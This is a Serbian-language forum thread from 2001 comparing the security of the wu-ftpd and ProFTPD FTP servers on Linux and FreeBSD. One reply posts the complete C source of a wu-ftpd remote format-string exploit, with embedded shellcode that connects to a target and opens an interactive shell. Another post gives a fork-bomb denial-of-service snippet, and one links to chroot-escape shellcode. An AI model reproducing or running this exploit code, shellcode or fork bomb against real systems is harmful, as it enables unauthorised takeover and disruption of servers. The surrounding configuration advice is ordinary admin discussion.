Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Linux vs FreeBSD ftp server ???

[es] :: BSD :: Linux vs FreeBSD ftp server ???

Strane: 1 2

[ Pregleda: 11441 | Odgovora: 32 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.beotel.net



+1 Profil

icon Linux vs FreeBSD ftp server ???13.01.2001. u 11:59 - pre 261 meseci
Ovako po mom dosadasnjem iskustvu FreeBSD se pokazo kao dobar izbor za ftp server? Zasto?
Zato sto nijedan hacker ne moze da vam uzme remote kontrolu nad ftpom.Koliko sam video u dosadasnjem citanju source kernela.Nema sanse da se sa nekim buffer overflowom slomi FTPd.Ovo vazi za wu-ftpd jel nikad nisam imao prilike da radim sa proFTPdom naime kako sve ovo radi ->
wu ftpd chroot()-uje anonymous korisnika u neki dir i tu ga drzi na oku:o)zatim poveze 1 i 0 file descriptore za socket na kome se nalazi user tako da kao da imate shell na tom kompu stim sto mozete samo da izvrsite ls.
Drugo i najbitnije je sto na Linuxu je relativno lako slomiti chroot() okruzenje sa jednim prostim chroot() shell codeom dok na BSDu nije to slucaj.
Na BSDu mozete da se dobije root buffer overflowom samo , samo ako imate account u suprotnom dzabe cete gubiti vreme sa raznim exploitima tipa buffer overflow na BSD wu ftpd i jos preko anonymous-a...
Eto to je bilo to...
 
Odgovor na temu

Gojko Vujovic
Amsterdam, NL

Administrator
Član broj: 1
Poruke: 13651



+164 Profil

icon Re: Linux vs FreeBSD ftp server ???13.01.2001. u 15:48 - pre 261 meseci
fala na finom objasnjenju
 
Odgovor na temu

emperor
Bojan Aleksic

Član broj: 26
Poruke: 327
194.247.206.*

ICQ: 30370501


Profil

icon Re: Linux vs FreeBSD ftp server ???13.01.2001. u 18:17 - pre 261 meseci
bas si nas prosvetylio
bilo bi dobro kada bi bilo vise ovakvih tekstova
 
Odgovor na temu

Gojko Vujovic
Amsterdam, NL

Administrator
Član broj: 1
Poruke: 13651



+164 Profil

icon Re: Linux vs FreeBSD ftp server ???13.01.2001. u 22:46 - pre 261 meseci
naravno

ajde sad svi moderatori bacite se na pisanje !
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.beotel.net



+1 Profil

icon Re: Linux vs FreeBSD ftp server ???14.01.2001. u 12:40 - pre 261 meseci
Ima doduse jedna fora ali je to manje poznata od standardne i ne koristi se uopste cak sta vise ta fora je toliko sakrivena da niko nece da je da publish.Cak mislim da je samo elita cuva za sebe i nikom ne da.

Ali kako u svim exploitima a narocitu u wuftpd2600.c je pokkvaren kod za Linux a na BSD nece da radi.Skript kiddie nemaju sanse uopste:o))
Za ispravan kod za Linux idite na
http://predator.tlsecurity.com/lam3rz_chroot.txt :o)) pozdrav...
 
Odgovor na temu

caboom
Igor Bogicevic
bgd

Član broj: 255
Poruke: 1503
*.verat.net

ICQ: 60630914


+1 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 13:04 - pre 257 meseci
wuftpd je los izbor sam po sebi... jeste da je proftpd kao tezi za podesavanje, ali je mnogo hmmm... skalabilniji po pitanju opcija i uopste po nivou konfigurabilnosti... ja licno nikada ne bih stavljao wuftpd na masinu, to je kao da poklanjas masinu svetu :)
 
Odgovor na temu

gandalf
Goran Raovic
senior network engineer
Belgrade

Član broj: 52
Poruke: 248
212.62.52.*

Jabber: goran.raovic@gmail.com


+44 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 15:09 - pre 257 meseci
ProFTPD je cool :o)

[Ovu poruku je menjao gandalf dana 04-20-2001 u 02:14 PM GMT]
CCIE #22192
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 15:26 - pre 257 meseci
A sta mislite o DoS napadau u proFTPD koji proces sa 1MB memorije dize na 90MB :o))
Tad sam zaustavio jer nisam hteo vise da mi se usporava kompis verzija je bila 1.2.0 mada mislim da bi nastavio da zvrlja i po swap-u da ga nisam iskljucio...promenu rezultata (povecanje memorije) sam pratio preko top :o)

Inace proFTPD ima opciju da preko SQL baze (postgreSQL ili mySQL) administrirate korisnike...
zvuci interesantno :o) ZAr ne?
 
Odgovor na temu

caboom
Igor Bogicevic
bgd

Član broj: 255
Poruke: 1503
*.verat.net

ICQ: 60630914


+1 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 16:13 - pre 257 meseci
predatore, predatore :)

DoS napadi se u novijim verzijama proftpd-a regulisu restrikcijama child procesa :) i to editovanjem config file-a...

btw. ima raznih opcija za autentifikaciju kod proftpd-a...



 
Odgovor na temu

gandalf
Goran Raovic
senior network engineer
Belgrade

Član broj: 52
Poruke: 248
212.62.52.*

Jabber: goran.raovic@gmail.com


+44 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 17:32 - pre 257 meseci
Kao sto rece caboom
# grep "MaxIntances" proftpd.conf
MaxIntances 30
i sve je sredjeno :o)
CCIE #22192
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 18:21 - pre 257 meseci
Ne ne ne mislim na Instances to je namesteno na 30 :o) stavi 1 i opet ce da te dosuju :o))
ali mozda je u 1.2.1 taj bug ispravljen bas cu da pogledam
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: Linux vs FreeBSD ftp server ???20.04.2001. u 18:57 - pre 257 meseci
uppss moja verzija je 1.2.1 mozda je 1.2.2rc1 ispravljeno :o) Ce da vidimo
 
Odgovor na temu

stinger
Luka Gerzic
DELTA M, IT Department
DELTA M HQ

Član broj: 126
Poruke: 1099
*.drenik.net

ICQ: 57419599
Sajt: www.gerzic.net


Profil

icon Re: Linux vs FreeBSD ftp server ???21.04.2001. u 15:36 - pre 257 meseci
Citat:
predator wrote:
Ovako po mom dosadasnjem iskustvu FreeBSD se pokazo kao dobar izbor za ftp server? Zasto?
Zato sto nijedan hacker ne moze da vam uzme remote kontrolu nad ftpom.Koliko sam video u dosadasnjem citanju source kernela.Nema sanse da se sa nekim buffer overflowom slomi FTPd.Ovo vazi za wu-ftpd jel nikad nisam imao prilike da radim sa proFTPdom naime kako sve ovo radi ->
wu ftpd chroot()-uje anonymous korisnika u neki dir i tu ga drzi na oku:o)zatim poveze 1 i 0 file descriptore za socket na kome se nalazi user tako da kao da imate shell na tom kompu stim sto mozete samo da izvrsite ls.
Drugo i najbitnije je sto na Linuxu je relativno lako slomiti chroot() okruzenje sa jednim prostim chroot() shell codeom dok na BSDu nije to slucaj.
Na BSDu mozete da se dobije root buffer overflowom samo , samo ako imate account u suprotnom dzabe cete gubiti vreme sa raznim exploitima tipa buffer overflow na BSD wu ftpd i jos preko anonymous-a...
Eto to je bilo to...




sto se tice sigurnosti wu-ftpd-a samo da te razuverim... cini mi se da sam pisao vec o proftpd-u ... reci cu samo da ftp.kernel.org koristi proftpd... da li si se nekad zapitao zasto?

/*
* wu-ftpd - 2.6.1(1)
*
* this is an exploit for wu-ftpd 2.6.1(1) on linux
* propz to segv for giving this to me
*
*
* DiGiT
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>

char linuxcode[] =
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";


main (int argc, char *argv[])
{

char cmdbuf[8192];
char cbuf[1024];
char *t;
char nop[400];
int pip, i, a = 22, st = 0;
struct sockaddr_in sck;
struct hostent *hp;
long inet;
int port = 21;
fd_set fds;
unsigned int aa;
long reta, retb, tmp, retz;
int ret;
int add = 0;

memset (cmdbuf, 0x0, sizeof (cmdbuf));
memset (cbuf, 0x0, sizeof (cbuf));
memset (nop, 0x0, sizeof (nop));

if (argc < 2)
{
fprintf (stderr, "Usage: %s [ip] \n", argv[0]);
exit (-1);
}

pip = socket (PF_INET, SOCK_STREAM, 0);

if (!pip)
{
perror ("socket()");
exit (-1);
}

inet = inet_addr (argv[1]);
if (inet == -1)
{
if (hp = gethostbyname (argv[1]))
memcpy (&inet, hp->h_addr, 4);
else
inet = -1;
if (inet == -1)
{
fprintf (stderr, "Cant resolv %s!! \n", argv[1]);
exit (-1);
}
}
sck.sin_family = PF_INET;
sck.sin_port = htons (port);
sck.sin_addr.s_addr = inet;

if (connect (pip, (struct sockaddr *) &sck, sizeof (sck)) < 0)
{
perror ("Connect() ");
exit (-1);
}

read (pip, cbuf, 1023);
fprintf (stderr, "Connected to: %s \n", argv[1]);
fprintf (stderr, "Banner: %s \n", cbuf);
strcpy (cmdbuf, "user ftp\n");
write (pip, cmdbuf, strlen (cmdbuf));
memset (nop, 0x90, sizeof (nop) - strlen (linuxcode) - 10);

strcat (nop, linuxcode);

memset (cmdbuf, 0x0, sizeof (cmdbuf));
sprintf (cmdbuf, "pass %s\n", nop);
write (pip, cmdbuf, strlen (cmdbuf));
sleep (1);
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
if (!strncmp (cmdbuf, "530", 3))
{
printf ("loggin incorrect : %s \n", cmdbuf);
exit (-1);
}
fprintf (stderr, "Logged in.. \n");
fprintf (stderr, "+ Finding ret addresses \n");
memset (cmdbuf, 0x0, sizeof (cmdbuf));
strcpy (cmdbuf, "SITE EXEC %x %x %x %x +%x |%x\n");
write (pip, cmdbuf, strlen (cmdbuf));
sleep (1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
if (!strncmp (cmdbuf + 4, "%x", 2))
{
fprintf (stderr, "[1m[31mWuftpd is not vulnerable : %s \n[0m",
cmdbuf);
exit (-1);
}
else
{
fprintf (stderr, "[1m[32mWuftpd is vulnerable : %s \n[0m",
cmdbuf);
}
reta = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") +
11, 16);
retz = strtoul (strstr (cmdbuf, "+") + 1, strstr (cmdbuf, "|") +
11, 16);

memset (cmdbuf, 0x0, sizeof (cmdbuf));
strcpy (cmdbuf, "SITE EXEC ");
for (ret = 0; ret <= 88; ret++)
{
strcat (cmdbuf, "%x");
}
strcat (cmdbuf, "|%x\n");
write (pip, cmdbuf, strlen (cmdbuf));
sleep (1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
retb = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") +
11, 16);
printf ("Ret location befor: %x \n", reta);
if (reta == 0)
reta = retz;
else
add = 600;
reta = reta - 0x58;
retb = retb + 100 - 0x2569 - add;
printf ("Ret location : %x \n", reta);
printf ("Proctitle addres : %x and %u \n", retb, retb);
sleep (2);
memset (cmdbuf, 0x0, sizeof (cmdbuf));

sprintf (cmdbuf, "SITE EXEC
aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
(reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
(reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
a = 22;
memset (cbuf, 0x0, sizeof (cbuf));
while (1)
{

memset (cmdbuf, 0x0, sizeof (cmdbuf));

sprintf (cmdbuf, "SITE EXEC
aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
(reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
(reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
for (i = 0; i <= 128; i++)
strcat (cmdbuf, "%.f");
for (i = 0; i <= a; i++)
strcat (cmdbuf, "%d");
sprintf (cbuf, "|%%x|%%x\n", aa + 9807 - 460);
strcat (cmdbuf, cbuf);
write (pip, cmdbuf, strlen (cmdbuf));
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
t = (char *) strstr (cmdbuf, "|");
tmp = strtoul (t + 1, t + 11, 16);
if (tmp != 0)
{
fprintf (stderr, "tmp 1 : 0x%x\n", tmp);
if (tmp == reta)
{
fprintf (stderr, "Cached a : %d \n", a);
st = 1;
break;
}
tmp = strtoul (t + 11, t + 22, 16);
fprintf (stderr, "tmp 2 : 0x%x\n", tmp);
if (tmp == reta)
{
fprintf (stderr, "Cached a : %d \n", a);
st = 2;
break;
}
}
if (st > 0)
break;
a++;
}
sleep (1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));
memset (cbuf, 0x0, sizeof (cbuf));

sprintf (cmdbuf, "SITE EXEC
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
(reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
(reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
for (i = 0; i <= 128; i++)
strcat (cmdbuf, "%.f");
if (add != 600)
a = a - 1;
fprintf (stderr, "Trying with : %d \n", a);
for (i = 0; i <= a; i++)
strcat (cmdbuf, "%d");

aa = retb;
if (add == 600)
sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807);
else
sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807 - 480);

strcat (cmdbuf, cbuf);
write (pip, cmdbuf, strlen (cmdbuf));
memset (cmdbuf, 0x0, sizeof (cmdbuf));
read (pip, cmdbuf, sizeof (cmdbuf) - 1);
memset (cmdbuf, 0x0, sizeof (cmdbuf));

fprintf (stderr, "[1m[33m Wait for a shell.....\n[0m");


while (1)
{
FD_ZERO (&fds);
FD_SET (0, &fds);
FD_SET (pip, &fds);
select (255, &fds, NULL, NULL, NULL);
if (FD_ISSET (pip, &fds))
{
memset (cbuf, 0x0, sizeof (cbuf));
ret = read (pip, cbuf, sizeof (cbuf) - 1);
if (ret <= 0)
{
printf ("Connection closed - EOF \n");
exit (-1);
}
printf ("%s", cbuf);
}
if (FD_ISSET (0, &fds))
{
memset (cbuf, 0x0, sizeof (cbuf));
read (0, cbuf, sizeof (cbuf) - 1);
write (pip, cbuf, strlen (cbuf));
}
}
close (pip);
}

 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: Linux vs FreeBSD ftp server ???21.04.2001. u 15:57 - pre 257 meseci
Sta ce mi exploit za 2.6.0 ? Ti ako si lud ti teraj 2.6.0 lepo su ljudi izbacili 2.6.1(2)...pa ko voli nek izvoli...
 
Odgovor na temu

stinger
Luka Gerzic
DELTA M, IT Department
DELTA M HQ

Član broj: 126
Poruke: 1099
213.166.21.*

ICQ: 57419599
Sajt: www.gerzic.net


Profil

icon Re: Linux vs FreeBSD ftp server ???23.04.2001. u 08:33 - pre 257 meseci
;) koristis 2.6.1 ... daj adresu... da te posetimo... ;)
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: Linux vs FreeBSD ftp server ???23.04.2001. u 12:22 - pre 257 meseci
Ok javni mi se na ICQ ce ti dam pristup :o)
Ali kazem ti ovaj exploit ne radi na 2.6.1 jer je to 2.6.0 exploit :o)
pogledaj bug koji iskoriscava :o)
 
Odgovor na temu

gandalf
Goran Raovic
senior network engineer
Belgrade

Član broj: 52
Poruke: 248
212.62.52.*

Jabber: goran.raovic@gmail.com


+44 Profil

icon Re: Linux vs FreeBSD ftp server ???23.04.2001. u 14:20 - pre 257 meseci
Ne radi na wu-ftpd-u 2.6.1 :o) Provereno :o)
CCIE #22192
 
Odgovor na temu

gandalf
Goran Raovic
senior network engineer
Belgrade

Član broj: 52
Poruke: 248
212.62.52.*

Jabber: goran.raovic@gmail.com


+44 Profil

icon Re: Linux vs FreeBSD ftp server ???23.04.2001. u 14:26 - pre 257 meseci
predatore kako si se snasao da onemogucis obicnim userima da te DoS-uju lokalno :o) ?? ( Znam da nemas shell server ali probaj da zamislis da imas ) Ovaj jepeni DoS :

#include <stdio.h>
int main (void)
{
for ( ; ; )
fork ();
}

Si ogranicio proj procesa po useru il nesto drugo ??

Il nijedno ni drugo :o)
CCIE #22192
 
Odgovor na temu

gandalf
Goran Raovic
senior network engineer
Belgrade

Član broj: 52
Poruke: 248
212.62.52.*

Jabber: goran.raovic@gmail.com


+44 Profil

icon Re: Linux vs FreeBSD ftp server ???23.04.2001. u 15:07 - pre 257 meseci
Keke nasao sam :o))))

cd /etc
echo "username U15 " >> limits

i ogranicio si useru broj procesa koje moze da kreira ( stvarno cool fazom ima jos zanimljivosti man limits ) :o)
CCIE #22192
 
Odgovor na temu

Vojislav Milunovic

Član broj: 25
Poruke: 2117
*.verat.net



+1 Profil

icon Re: Re: Linux vs FreeBSD ftp server ???23.04.2001. u 15:31 - pre 257 meseci
Citat:
gandalf wrote:
Ne radi na wu-ftpd-u 2.6.1 :o) Provereno :o)



Dovoljno je samo da pogledas u kod exploita i shvatices da ovo nije exploit za 2.6.1 ...
 
Odgovor na temu

[es] :: BSD :: Linux vs FreeBSD ftp server ???

Strane: 1 2

[ Pregleda: 11441 | Odgovora: 32 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.